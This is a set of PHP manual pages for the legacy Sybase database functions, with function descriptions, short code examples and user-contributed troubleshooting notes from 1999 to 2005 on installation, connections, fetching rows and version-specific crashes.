Since 12.5 is newer than 4.0.6, I guess this will be fixed soon.
borreo at softhome dot net 14-Sep-2001 08:22
If you use IIS and sybase-ct library, be sure to use PHP 4.0.6 or higher, since older version caused crashes.
rbuico at ntep dot nec dot co dot jp 28-Aug-2001 05:54
maybe it can help.
my database is ASE

this is my script....

<?
$cnn = sybase_connect("db_server","sa","password");
$result = sybase_query("Select itemno,stockno from your_db..your_table");
$i = 0;
while ($r = sybase_fetch_array($result)) {
$i++;
$itemno = $r["itemno"];
$stockno = $r["stockno"];
echo "$i    $stockno   $itemno <br>";
}
?>

note that I did not use the
sybase_select_db("db") function because ASE had a default database.
thx...
borreo at softhome dot net 28-Jun-2001 03:33
It's important to note that sybase_ct connect or pconnect were causing GPF.
If you experienced this problem, just update PHP to 4.0.6.
koos at kzdoos dot xs4all dot nl 09-Oct-2000 08:20
A bit more about blobs:
If you want to retrieve blobs without them getting truncated, do a 'set textsize value' query first.
chptma at hydra dot esfm dot ipn dot mx 06-Sep-2000 10:13
about sybase-ct library

You can download the file from php.net but the samples in the tar (and php) maybe not compile I have this problem in some systems (but not in others with old librarys and old gcc).

Try freetds from www.freetds.org that is ok!

System wthout trouble
Debian 2.1 gcc (2.7.2.3) libc-2.0.7.so
System With trouble
Debian 2.2 gcc (2.95.2) libc-2.1.3.so
RedHat 6.2 gcc [egcs] (2.91.66) libc-2.1.3.so

Please refer to mssql if you try to connect to MS SQL Server!!!
hoadley at xoom dot com 18-Aug-2000 11:41
I would STRONGLY recommend using the ct library over the db library when compiling sybase support with php4+. I ran into strange http child seg faults when trying to issue multiple sql statements in one php page.  Using ct-library there is no problem.
james at lasolas dot com 22-Mar-2000 03:28
If you get a segfault with sybase-ct, add a en_US entry to your  $SYBASE/locales/locales.dat file:

[linux]
    locale = en_US, us_english, iso_1
    ...
ericnewman at aol dot com 06-Mar-2000 10:57
I struggled to get this to work for a week. Here's a tip. Log on to your system using the same login as your web server, probably "nobody". Using this account, make sure you can get isql to work. In my case, I had to change the permissions on the /opt/sybase folder, as well as chmod the /opt/sybase/interfaces file to 644. (It was 600 by default, and did not allow anyone but root to read it.) Once I did this, things started to happen...
tcurdt at dff dot st 01-Mar-2000 10:34
Poor documentation on sybase support!! Here's how I made it work... First get the linux ASE from sybase (maybe the ctlibs provided at php.net will do fine, too) Install the ASE rpm. (some distributions don't have system libs etc in the rpm database so you might get some dependency errors. If your systems fits the requirements install with "ignore dependencies") Recompile php with option --with-sybase-ct=/dirtoyoursybasehome. Then you need to set the env variable for (at least)your apache user by export SYBASE=/dirtoyoursybasehome. Now you need to set up your servers (like DSNs for ODBC). Edit the file $SYBASE/interfaces and add your server entries:

SERVERNAME
  query tcp ether 172.16.1.4 4100
  master tcp ether 172.16.1.4 4100

(change IP/FQHN and port to your setup) Now you can check your config by using
$SYBASE/bin/isql -S SERVERNAME -U DBUSER -P PASSWD
If you get a prompt you have connected to your sybase! Hurray! Now you can try with php
$db=sybase_connect("SERVERNAME","DBUSER","DBPASSWD");
And... Voila!
Xtof at fromages-et-desserts dot com 20-Feb-2000 07:18
To store an image file into Sybase try this :

$data = bin2hex(fread(fopen($image,"r"), filesize($image)));
//don't forget the 0x before the hex data.
if(! sybase_query("INSERT INTO test_image (image) VALUES (0x".$data.")")) die ("Unable to store the image.");

To retrieve it just do a select and use a hex2bin function (this one has been submitted by carl@five-ten-sg.com and is the fastest) :

function hex2bin($data) {
     $len = strlen($data);
      return pack("H" . $len, $data);
}

PS : use CT-lib rather than DB-lib (Sybase doesn't work on it anymore!)


Gets number of affected rows in last query

  • « Sybase Functions
  • sybase_close »
  • PHP Manual
  • Sybase Functions
  • Gets number of affected rows in last query

sybase_affected_rows

(PHP 4, PHP 5)

sybase_affected_rows — Gets number of affected rows in last query

Description

int sybase_affected_rows ([ resource $link_identifier ] )

sybase_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query on the server associated with the specified link identifier.

This command is not effective for SELECT statements, only on statements which modify records. To retrieve the number of rows returned from a SELECT, use sybase_num_rows().

Parameters

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns the number of affected rows, as an integer.

Examples

Example #1 Delete-Query

<?php
/* connect to database */
sybase_connect('SYBASE', '', '') or
die("Could not connect");
sybase_select_db("db");

sybase_query("DELETE FROM sometable WHERE id < 10");
printf("Records deleted: %d\n", sybase_affected_rows());
?>

The above example will output:

Records deleted: 10

See Also

  • sybase_num_rows() - Get number of rows in a result set

User Contributed Notes

neugeypc at cox dot net 31-May-2002 08:24
The sybase_affected_rows() function seems to work now with the Sybase DB Library.  Not sure when this improvement was made, but I'm currently running PHP 4.1.2 on Solaris.

Affected rows seems to return a -1 if the query syntax was incorrect on the last submitted query.
Affected rows returns 0 if no rows were affected or another error occured, such as a foreign key violation and also returns 0 if the query was successfully, but no records were affected by the query.
If the query was valid and did affect some rows, sybase_affected_rows() seems to be returning the correct number.
james at lasolas dot com 22-Mar-2000 03:25
If you get a segfault with sybase-ct, add a en_US entry to your $SYBASE/locales/locales.dat file:

[linux]
    locale = en_US, us_english, iso_1
    ...


Closes a Sybase connection

  • « sybase_affected_rows
  • sybase_connect »
  • PHP Manual
  • Sybase Functions
  • Closes a Sybase connection

sybase_close

(PHP 4, PHP 5)

sybase_close — Closes a Sybase connection

Description

bool sybase_close ([ resource $link_identifier ] )

sybase_close() closes the link to a Sybase database that's associated with the specified link link_identifier.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

sybase_close() will not close persistent links generated by sybase_pconnect().

Parameters

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_connect() - Opens a Sybase server connection
  • sybase_pconnect() - Open persistent Sybase connection

User Contributed Notes

There are no user contributed notes for this page.


Opens a Sybase server connection

  • « sybase_close
  • sybase_data_seek »
  • PHP Manual
  • Sybase Functions
  • Opens a Sybase server connection

sybase_connect

(PHP 4, PHP 5)

sybase_connect — Opens a Sybase server connection

Description

resource sybase_connect ([ string $servername [, string $username [, string $password [, string $charset [, string $appname [, bool $new = false ]]]]]] )

sybase_connect() establishes a connection to a Sybase server.

In case a second call is made to sybase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling sybase_close().

Parameters

servername

The servername argument has to be a valid servername that is defined in the 'interfaces' file.

username

Sybase user name

password

Password associated with username.

charset

Specifies the charset for the connection

appname

Specifies an appname for the Sybase connection. This allow you to make separate connections in the same script to the same database. This may come handy when you have started a transaction in your current connection, and you need to be able to do a separate query which cannot be performed inside this transaction.

new

Whether to open a new connection or use the existing one.

Return Values

Returns a positive Sybase link identifier on success, or FALSE on failure.

Changelog

Version | Description
5.3.0 | The new parameter was added.

Examples

Example #1 sybase_connect() example

<?php
$link = sybase_connect('SYBASE', '', '')
        or die("Could not connect !");
echo "Connected successfully";
sybase_close($link);
?>

See Also

  • sybase_pconnect() - Open persistent Sybase connection
  • sybase_close() - Closes a Sybase connection

User Contributed Notes

brunello95 at aol dot com 15-Mar-2005 07:30
freetds is a great, free tool to access your sybase tables with PHP. The setup can be a bit tricky. Use the following to put the environment variables that you need:
<?php
putenv ("SYBASE=/usr/local/freetds");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/usr/local/freetds/lib");
putenv ("LC_ALL=default");
putenv ('PATH=\"/usr/local/freetds/bin:$PATH\"');
putenv ("DSQUERY=SYBASE");
?>
Even if not using freetds, you'll need those env vars to make any sybase connection work. Another option is to just load them into your box from the command line.
naguiwerian at netscape dot net 18-Sep-2001 06:31
To connect from win32 to Sybase on Unix , you can use sybase open client and make sure to use the hostname in sybase_connect as it is defined in the OC sql.ini file .. it worked that way !
bkw at weisshuhn dot de 06-Apr-2000 02:38
To decrease the level of messages sent back from the dbserver (such as 'changed context...') try:

     sybase_min_server_severity(11);
gregory at bnl dot gov 05-Feb-2000 04:35
If you are having trouble connecting to your sybase database on unix, try checking that the SYBASE environmental variable is set correctly. I was getting connection errors until I found out that this variable had not been set through the server.


Moves internal row pointer

  • « sybase_connect
  • sybase_deadlock_retry_count »
  • PHP Manual
  • Sybase Functions
  • Moves internal row pointer

sybase_data_seek

(PHP 4, PHP 5)

sybase_data_seek — Moves internal row pointer

Description

bool sybase_data_seek ( resource $result_identifier , int $row_number )

sybase_data_seek() moves the internal row pointer of the Sybase result associated with the specified result identifier to pointer to the specified row number. The next call to sybase_fetch_row() would return that row.

Parameters

result_identifier

row_number

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Sets the deadlock retry count

  • « sybase_data_seek
  • sybase_fetch_array »
  • PHP Manual
  • Sybase Functions
  • Sets the deadlock retry count

sybase_deadlock_retry_count

(PHP 4 >= 4.3.0, PHP 5)

sybase_deadlock_retry_count — Sets the deadlock retry count

Description

void sybase_deadlock_retry_count ( int $retry_count )

Using sybase_deadlock_retry_count(), the number of retries can be defined in cases of deadlocks. By default, every deadlock is retried an infinite number of times or until the process is killed by Sybase, the executing script is killed (for instance, by set_time_limit()) or the query succeeds.

Parameters

retry_count

Values for retry_count
-1 | Retry forever (default)
0 | Do not retry
n | Retry n times

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

User Contributed Notes

There are no user contributed notes for this page.


Fetch row as array

  • « sybase_deadlock_retry_count
  • sybase_fetch_assoc »
  • PHP Manual
  • Sybase Functions
  • Fetch row as array

sybase_fetch_array

(PHP 4, PHP 5)

sybase_fetch_array — Fetch row as array

Description

array sybase_fetch_array ( resource $result )

sybase_fetch_array() is an extended version of sybase_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using sybase_fetch_array() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Note:

When selecting fields with identical names (for instance, in a join), the associative indices will have a sequential number prepended. See the example for details.

Examples

Example #1 Identical fieldnames

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_query('SELECT * FROM p, a WHERE p.person_id= a.person_id');
var_dump(sybase_fetch_array($q));
sybase_close($dbh);
?>

The above example would produce the following output (assuming the two tables only have each one column called "person_id"):

array(4) {
  [0]=>
  int(1)
  ["person_id"]=>
  int(1)
  [1]=>
  int(1)
  ["person_id1"]=>
  int(1)
}

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array
  • sybase_fetch_assoc() - Fetch a result row as an associative array
  • sybase_fetch_object() - Fetch a row as an object

User Contributed Notes

burak3 at gmail dot com 05-Apr-2005 09:25
For varchar type fields, sybase api fetch is limited with 255 characters.
In sybase you can have a varchar field nearly upto a page size, ex: varchar(1500)


Fetch a result row as an associative array

  • « sybase_fetch_array
  • sybase_fetch_field »
  • PHP Manual
  • Sybase Functions
  • Fetch a result row as an associative array

sybase_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

sybase_fetch_assoc — Fetch a result row as an associative array

Description

array sybase_fetch_assoc ( resource $result )

sybase_fetch_assoc() is a version of sybase_fetch_row() that uses column names instead of integers for indices in the result array. Columns from different tables with the same names are returned as name, name1, name2, ..., nameN.

An important thing to note is that using sybase_fetch_assoc() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array
  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_object() - Fetch a row as an object

User Contributed Notes

elektrotechnik at onlinehome dot de 06-May-2004 01:33
Very often you see constructs like this to loop thru a result set:

while ($row = sybase_fetch_assoc($result))
{
    while (current($row)) // or  while (current($row) != false)
    {
        $data = current($row);
        $key = key($row);

        //
        // do stuff here
        //

    next($row);
    }
}

Do not use it in this way! You have to write the inner while loop this way:

while (current($row) !== false)

If you just use
while (current($row) != false)
or
while (current($row))

you could be in trouble and loose some data. In my case I had a query which contained the following statement:

datediff(dd, date1, date2) as days

Now if days computes to 0 then the two while loop examples from above will exit (because the 0 is 'seen' as false). Therefore you must use while (current($row) !== false) which will not exit if one of you data contains 0.

Hth,
rgds,
Marcus
jpeterso at moody dot edu 01-Jul-2003 09:51
For users that want this function in other applications, use this function.  I have been using it for over a year with great success.

function sybase_fetch_assoc($query_result){
        $row = sybase_fetch_array($query_result);
        $values = "";
        if(is_array($row))
        {
        while(list($key, $val) = each($row))
            {
                $values[$key] = $val;
            }
        }
    return $values;
}


Get field information from a result

  • « sybase_fetch_assoc
  • sybase_fetch_object »
  • PHP Manual
  • Sybase Functions
  • Get field information from a result

sybase_fetch_field

(PHP 4, PHP 5)

sybase_fetch_field — Get field information from a result

Description

object sybase_fetch_field ( resource $result [, int $field_offset = -1 ] )

sybase_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

field_offset

If the field offset isn't specified, the next field that wasn't yet retrieved by sybase_fetch_field() is retrieved.

Return Values

Returns an object containing field information.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.
  • column_source - the table from which the column was taken
  • max_length - maximum length of the column
  • numeric - 1 if the column is numeric
  • type - datatype of the column

See Also

  • sybase_field_seek() - Sets field offset

User Contributed Notes

anthony dot leung at virgin dot net 25-Jun-2003 08:44
Bit short on comments and tips bout this one so head down to mysql_fetch_fields where the concept is the same. I seemed to get an infinite loop over there using the $i counter tho, so I used a for loop instead.
The list of properties you can get from what I've called $info is in the example to the mysql equivalent.

//start of an example to print out column headings

echo "<table><tr>";
  $numfields=sybase_num_fields($query);
  for ($f=0;$f<=$numfields;$f++){
    $info = sybase_fetch_field($query);
    echo "<td> $info->name </td>";
  }
  echo "</tr><tr>";
gray at voicenet dot com 16-Oct-1999 12:27
The 'type' field contains (roughly) the datatype of the source column.  Types returned are:

  'type'   Sybase Type
  -------  --------------------------
  string   CHAR, VARCHAR, TEXT
  image    IMAGE
  blob     BINARY, VARBINARY
  bit      BIT
  int      TINYINT, SMALLINT, INT
  real     REAL, FLOAT, NUMERIC, DECIMAL
  money    MONEY
  datetime DATETIME, SMALLDATETIME


Fetch a row as an object

  • « sybase_fetch_field
  • sybase_fetch_row »
  • PHP Manual
  • Sybase Functions
  • Fetch a row as an object

sybase_fetch_object

(PHP 4, PHP 5)

sybase_fetch_object — Fetch a row as an object

Description

object sybase_fetch_object ( resource $result [, mixed $object ] )

sybase_fetch_object() is similar to sybase_fetch_assoc(), with one difference - an object is returned, instead of an array.

Speed-wise, the function is identical to sybase_fetch_array(), and almost as quick as sybase_fetch_row() (the difference is insignificant).

Parameters

result

object

Use the second object to specify the type of object you want to return. If this parameter is omitted, the object will be of type stdClass.

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Examples

Example #1 sybase_fetch_object() return as Foo

<?php
    class Foo {
        var $foo, $bar, $baz;
    }

    // {...]
    $qrh= sybase_query('SELECT foo, bar, baz FROM example');
    $foo= sybase_fetch_object($qrh, 'Foo');
    $bar= sybase_fetch_object($qrh, new Foo());
    // {...]
?>

See Also

  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.


Get a result row as an enumerated array

  • « sybase_fetch_object
  • sybase_field_seek »
  • PHP Manual
  • Sybase Functions
  • Get a result row as an enumerated array

sybase_fetch_row

(PHP 4, PHP 5)

sybase_fetch_row — Get a result row as an enumerated array

Description

array sybase_fetch_row ( resource $result )

sybase_fetch_row() fetches one row of data from the result associated with the specified result identifier.

Subsequent call to sybase_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 0.

Data types
PHP | Sybase
string | VARCHAR, TEXT, CHAR, IMAGE, BINARY, VARBINARY, DATETIME
int | NUMERIC (w/o precision), DECIMAL (w/o precision), INT, BIT, TINYINT, SMALLINT
float | NUMERIC (w/ precision), DECIMAL (w/ precision), REAL, FLOAT, MONEY
NULL | NULL

See Also

  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_assoc() - Fetch a result row as an associative array
  • sybase_fetch_object() - Fetch a row as an object
  • sybase_data_seek() - Moves internal row pointer
  • sybase_result() - Get result data

User Contributed Notes

mikeegg at prodigy dot net 02-Dec-1999 07:53
Just a simple example modified from the sybase_fetch_array():

sybase example:
<?php
    $db = sybase_connect("sybtest", "sa", "teacher");
    $q = sybase_query("select name from syslogins", $db);
    while($row = sybase_fetch_row($q)) {
        while(list($k, $v) = each($row)) {
            echo "\$row[$k] => $v\n";
        }
    }
?>

$row[0] => dnld
$row[0] => edi
$row[0] => oes
$row[0] => oesuseradmin
$row[0] => rpts
$row[0] => sa
$row[0] => upld


Sets field offset

  • « sybase_fetch_row
  • sybase_free_result »
  • PHP Manual
  • Sybase Functions
  • Sets field offset

sybase_field_seek

(PHP 4, PHP 5)

sybase_field_seek — Sets field offset

Description

bool sybase_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to sybase_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

field_offset

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_fetch_field() - Get field information from a result

User Contributed Notes

There are no user contributed notes for this page.


Frees result memory

  • « sybase_field_seek
  • sybase_get_last_message »
  • PHP Manual
  • Sybase Functions
  • Frees result memory

sybase_free_result

(PHP 4, PHP 5)

sybase_free_result — Frees result memory

Description

bool sybase_free_result ( resource $result )

sybase_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call sybase_free_result() with the result identifier as an argument and the associated result memory will be freed.

Parameters

result

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

verdy_p at wanadoo dot fr 25-Jul-1999 12:10
When processing queries that return MANY rows, and when you put a limit on the number of rows you fetch from the result set, you should always call this function to close the current result set, because the SQL server may still be pending waiting for other rows to be fetched by your script. When you call this function, the Sybase client in PHP3 will signal to Sybase SQL Server that other pending results can be ignored, and the SQL server connection will return faster to the "waiting command" state, instead of keeping in the "suspend" state, saving much resources on the SQL-Server. In fact, it is  a good idea to call this function after all your queries to save up SQL server resources.
Note that when processing SQL batchs with multiple queries, and stored procedure calls that return multiple result sets, there's no provision here to let the server return the next result set. There should be another function like sybase_next_result() to close the current result set, and let the SQL server go on the next SQL statements. Such a function would return a status that indicates if further results are coming or if the query is really terminated.


Returns the last message from the server

  • « sybase_free_result
  • sybase_min_client_severity »
  • PHP Manual
  • Sybase Functions
  • Returns the last message from the server

sybase_get_last_message

(PHP 4, PHP 5)

sybase_get_last_message — Returns the last message from the server

Description

string sybase_get_last_message ( void )

sybase_get_last_message() returns the last message reported by the server.

Return Values

Returns the message as a string.

See Also

  • sybase_min_message_severity() - Sets minimum message severity

User Contributed Notes

uioreanu at hotmail dot com 22-Sep-2001 12:19
This function comes from version 4.0.5,
and not from PHP 4 >= 4.0.0 as stated here.
So don't not waist time like I did searching for it.

http://www.php.net/ChangeLog-4.php
Version 4.0.5
30-Apr-2001
Added sybase_get_last_message() to the Sybase CT module. (Jan Fedak)


Sets minimum client severity

  • « sybase_get_last_message
  • sybase_min_error_severity »
  • PHP Manual
  • Sybase Functions
  • Sets minimum client severity

sybase_min_client_severity

(PHP 4, PHP 5)

sybase_min_client_severity — Sets minimum client severity

Description

void sybase_min_client_severity ( int $severity )

sybase_min_client_severity() sets the minimum client severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_server_severity() - Sets minimum server severity

User Contributed Notes

sean dot healey at bayernlb dot co dot uk 28-Oct-2005 12:50
Sybase considers severity levels 0-16 as non-fatal. Above that you probably don't want to block messages.
rudolf at 1stomni dot com 27-Feb-2002 09:41
This parameter setup level of responce mesage filtering when you compile
--with-sybase_ct

<?
sybase_min_client_severity(9);
sybase_min_server_severity(9);
$db=sybase_connect("mdserver","sa","");
?>

Will result:
Warning: Sybase: Server message: Changed database context to 'master'.
(severity 10, procedure N/A) in
/var/www/html/DBAdmins/phpSybaseAdmin/test.php on line 4

<?
sybase_min_client_severity(100);
sybase_min_server_severity(100);
$db=sybase_connect("mdserver","sa","");
?>

Will not generate warning!!!

Can be used for SYBASE debugging !
26-Oct-2001 11:46
The severity levels mentioned here are referenced in the Sybase System Administration documentation. I didn't know that, and it annoyed me. Now you know.


Sets minimum error severity

  • « sybase_min_client_severity
  • sybase_min_message_severity »
  • PHP Manual
  • Sybase Functions
  • Sets minimum error severity

sybase_min_error_severity

(PHP 4, PHP 5)

sybase_min_error_severity — Sets minimum error severity

Description

void sybase_min_error_severity ( int $severity )

sybase_min_error_severity() sets the minimum error severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_message_severity() - Sets minimum message severity

User Contributed Notes

There are no user contributed notes for this page.


Sets minimum message severity

  • « sybase_min_error_severity
  • sybase_min_server_severity »
  • PHP Manual
  • Sybase Functions
  • Sets minimum message severity

sybase_min_message_severity

(PHP 4, PHP 5)

sybase_min_message_severity — Sets minimum message severity

Description

void sybase_min_message_severity ( int $severity )

sybase_min_message_severity() sets the minimum message severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the DB library interface to Sybase, and not with the CT library.

See Also

  • sybase_min_error_severity() - Sets minimum error severity

User Contributed Notes

There are no user contributed notes for this page.


Sets minimum server severity

  • « sybase_min_message_severity
  • sybase_num_fields »
  • PHP Manual
  • Sybase Functions
  • Sets minimum server severity

sybase_min_server_severity

(PHP 4, PHP 5)

sybase_min_server_severity — Sets minimum server severity

Description

void sybase_min_server_severity ( int $severity )

sybase_min_server_severity() sets the minimum server severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_client_severity() - Sets minimum client severity

User Contributed Notes

There are no user contributed notes for this page.


Gets the number of fields in a result set

  • « sybase_min_server_severity
  • sybase_num_rows »
  • PHP Manual
  • Sybase Functions
  • Gets the number of fields in a result set

sybase_num_fields

(PHP 4, PHP 5)

sybase_num_fields — Gets the number of fields in a result set

Description

int sybase_num_fields ( resource $result )

sybase_num_fields() returns the number of fields in a result set.

Parameters

result

Return Values

Returns the number of fields as an integer.

See Also

  • sybase_query() - Sends a Sybase query
  • sybase_fetch_field() - Get field information from a result
  • sybase_num_rows() - Get number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.


Get number of rows in a result set

  • « sybase_num_fields
  • sybase_pconnect »
  • PHP Manual
  • Sybase Functions
  • Get number of rows in a result set

sybase_num_rows

(PHP 4, PHP 5)

sybase_num_rows — Get number of rows in a result set

Description

int sybase_num_rows ( resource $result )

sybase_num_rows() returns the number of rows in a result set.

Parameters

result

Return Values

Returns the number of rows as an integer.

See Also

  • sybase_num_fields() - Gets the number of fields in a result set
  • sybase_query() - Sends a Sybase query
  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

verdy_p at wanadoo dot fr 25-Jul-1999 12:32
Because Sybase does not process the number of returned rows until all rows have been fetched, this function should be avoided if the query returns MANY rows: PHP3 will have to fetch internally all rows coming from the server, keeping results in memory until the result set is fully returned and no more rows are signaled by the SQL Server. If you want to put a limit on the number of rows to really fetch in your application, it will be much faster to first select the count of rows that match the search criters, prior to select effective data. Shame, the current implementation of PHP3 Sybase support functions does not have an option to control whever all rows should be fetched prior to return from the query. More, there's no provision for queries that return multiple results sets, so this function terminates the current query without allowing further results sets to be returned. A good idea would be that this function processes only the current result set, but does not terminate the query, allowing the script to use either a new "sybase_next_result()" or "sybase_free_result()" after processing the current dataset.
The current implementation of this function fetches all pending rows in memory, which updates the counter that is otherwised set up for the sybase_affected_rows(). If you don't call this function, sybase_affected_rows() is not accurate for the current selected result set because all rows have not been internally fetched. If you just want to show the total number of rows displayed on your HTML page, it's a good idea to call it only AFTER all rows have been fetched, because this count is immediately accurate without requiring PHP3 to fetch pending rows and save them in internal memory.


Open persistent Sybase connection

  • « sybase_num_rows
  • sybase_query »
  • PHP Manual
  • Sybase Functions
  • Open persistent Sybase connection

sybase_pconnect

(PHP 4, PHP 5)

sybase_pconnect — Open persistent Sybase connection

Description

resource sybase_pconnect ([ string $servername [, string $username [, string $password [, string $charset [, string $appname ]]]]] )

sybase_pconnect() acts very much like sybase_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (sybase_close() will not close links established by sybase_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

servername

The servername argument has to be a valid servername that is defined in the 'interfaces' file.

username

Sybase user name

password

Password associated with username.

charset

Specifies the charset for the connection

appname

Specifies an appname for the Sybase connection. This allow you to make separate connections in the same script to the same database. This may come handy when you have started a transaction in your current connection, and you need to be able to do a separate query which cannot be performed inside this transaction.

Return Values

Returns a positive Sybase persistent link identifier on success, or FALSE on error.

See Also

  • sybase_connect() - Opens a Sybase server connection

User Contributed Notes

verdy_p at wanadoo dot fr 24-Jul-1999 10:53
The servername specified in sybase_connect and sybase_pconnect is solved locally on the PHP3 server host, which should be configured with the appropriate Sybase client configuration. This includes setting the environment variables for the account that runs the PHP3 extension, i.e. if it runs as a Web server extension, it must be configured in the user account that runs the Web server. You may setup at least the SYBASE environment, and add $SYBASE/bin within the user's path that runs the Web server. Standard installations of Sybase clients include setting up either a $SYBASE/interfaces file under Unix, or %SYBASE%\ini\sql.ini under Windows. This file contains local aliasnames for the referenced server names. These names may be different than that really used on the host that run the Sybase SQL Server. What is important is that this Sybase client configuration file will specify the location of the SQL Server, i.e. the network protocol to use, and if it's through TCP/IP, the host name or IP address of the Sybase SQL Server host, and its listener port number. Newer versions of Sybase includes the option to setup the interfaces or SQL.INI file with a single server entry, with will be a Sybase naming service. If this is used, the Sybase OpenClient libraries will connect to this naming service, if the SERVER name specified can't be solved locally. This naming service will provide the SQL Server location for the specified SERVER name you use in the sybase_connect or sybase_pconnect function calls, allowinf naming resolution on sites that want to have a centralized administration of multiple Sybase OpenServer servers, including gateways to other SQL servers such as OpenServer compatible gateways to Oracle or Informix servers. But if you want faster accesses to your Sybase SQL server used by your PHP3 scripts, you should configure the host which runs the PHP3 extension so that servernames can be solved locally. All you need is to add server entries in your interfaces or SQL.INI Sybase OpenClient configuration file.


Sends a Sybase query

  • « sybase_pconnect
  • sybase_result »
  • PHP Manual
  • Sybase Functions
  • Sends a Sybase query

sybase_query

(PHP 4, PHP 5)

sybase_query — Sends a Sybase query

Description

mixed sybase_query ( string $query [, resource $link_identifier ] )

sybase_query() sends a query to the currently active database on the server that's associated with the specified link identifier.

Parameters

query

link_identifier

If the link identifier isn't specified, the last opened link is assumed. If no link is open, the function tries to establish a link as if sybase_connect() was called, and use it.

Return Values

Returns a positive Sybase result identifier on success, FALSE on error, or TRUE if the query was successful but didn't return any columns.

See Also

  • sybase_select_db() - Selects a Sybase database
  • sybase_connect() - Opens a Sybase server connection

User Contributed Notes

matt dot sawyer at gmail dot com 28-Oct-2004 06:21
I am using PHP 4.1.1 to connect to an older version of Sybase that doesn't work with CT.  I found that while attempting to execute an erroneous query, sybase_query() never returns false for non-select query statements.  This was reported as a bug but then dismissed because the problem is that Sybase itself does not indicate any error to PHP.

However I appear to have found a workaround: after each query statement, call sybase_get_last_message().  If that function returns you anything, it will be an error message.  Then you know your non-select query has truly failed.
cnbluesea at hotmail dot com 23-Aug-2002 08:54
To use this function to execute stored procedures by parameters like this:
sybase_query("exec p_name '$para1','$para2'",$conn)
$para1 and $para2 are strings.
it works well.
dabratt at ifrance dot com 09-Jul-2002 03:00
Strange problem... I'm accessing a SQL SERVER 2000 database through freetds with php v4.0.1pl2 on linux.
Thoses instructions work fine :

// Just a test
sybase_query("SELECT MES_ID FROM T_MESSAGE", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

But, when i replace the SELECT statement by an UPDATE statement, i.e:

// Here's the update
sybase_query("UPDATE T_MESSAGE SET MES_STATE = 0", $dbproc);

// data i want to retrieve, stored procedure
$resConfig = sybase_query("exec P_SLC_EMAILCONFIG", $dbproc);
$arrConfig = sybase_fetch_array($resConfig);

Then i've got an error : "Supplied argument is not a valide Sybase result resource.." on the line containing the sybase_fetch_array command.
I don't understand why... I have to close and reopen the connection if i want those lines to work!!!
dezi at digicol dot de 24-Jan-2001 09:26
sybase_query stores the whole result set in memory before returning. This function is unusable for real large result sets, ie. dumping a large table from sybase to php.
ilya at vtrails dot com 21-Feb-2000 03:42
This is true for stored procedures' execution results, too. If you have a result set and a status returned, you will only be able to access the result set. Argh.
verdy_p at wanadoo dot fr 25-Jul-1999 12:00
